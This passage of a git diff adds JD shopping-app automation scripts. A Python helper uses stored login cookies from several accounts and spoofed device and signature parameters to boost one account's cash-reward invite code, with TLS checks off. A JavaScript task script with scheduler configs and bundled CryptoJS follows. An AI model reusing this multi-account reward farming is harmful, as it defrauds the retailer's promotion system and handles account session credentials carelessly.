f'body=%7B%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone13%2C4&eid=&isBackground=N&joycious=82&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=809409cbd5bb8a0fa8fff41378c1afe91b8075ad&osVersion={iosVer}&partner=apple&rfs=0000&scope=10&screen=1125%2A2436&sign=5b8aa440653bb1fcbad0f0ff71671cae&st=1625368739358&sv=122&uemps=0-0&uts=&uuid=&wifiBssid=unknown' + response = requests.post(url=url, headers=header, data=body, verify=False, timeout=30).json() + return response['data']['result']['totalMoney'] + except Exception as e: + print("cash_exchangePage Error", e) + return 0 + +def start(): + scriptName = '### 签到领现金-助力 ###' + print(scriptName) + global cookiesList, userNameList, pinNameList, ckNum, cashCount, cashCountdict + cookiesList, userNameList, pinNameList = getCk.iscookie() + for ckname in cash_zlzh: + try: + ckNum = userNameList.index(ckname) + except Exception as e: + try: + ckNum = pinNameList.index(unquote(ckname)) + except: + print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") + continue + + print(f"### 开始助力账号【{userNameList[int(ckNum)]}】###") + inviteCode, shareDate = getShareCode(buildHeader(cookiesList[ckNum])) + if inviteCode == 0: + print(f"## {userNameList[int(ckNum)]} 获取互助码失败。请稍后再试!") + continue + u = 0 + for i in cookiesList: + if i == cookiesList[ckNum]: + u += 1 + continue + result = helpCode(buildHeader(i), inviteCode, shareDate, u+1, userNameList[u], userNameList[ckNum]) + if result: + break + time.sleep(sleepNum) + u += 1 + totalMoney = cash_exchangePage(cookiesList[ckNum]) + cashCount += totalMoney + cashCountdict[userNameList[ckNum]] = totalMoney + + print("\n-------------------------") + for i in cashCountdict.keys(): + msg(f"账号【{i}】当前现金: ¥{cashCountdict[i]}") + msg("## 总累计获得 ¥%.2f" % cashCount) + try: + send(scriptName, msg_info) + except: + pass + + +if __name__ == '__main__': + start() diff --git a/backUp/jd_cfd.js b/backUp/jd_cfd.js new file mode 100644 index 0000000..1bb8e18 --- /dev/null +++ b/backUp/jd_cfd.js @@ -0,0 +1,1907 @@ +/* +京喜财富岛 +cron 1 * * * * jd_cfd.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 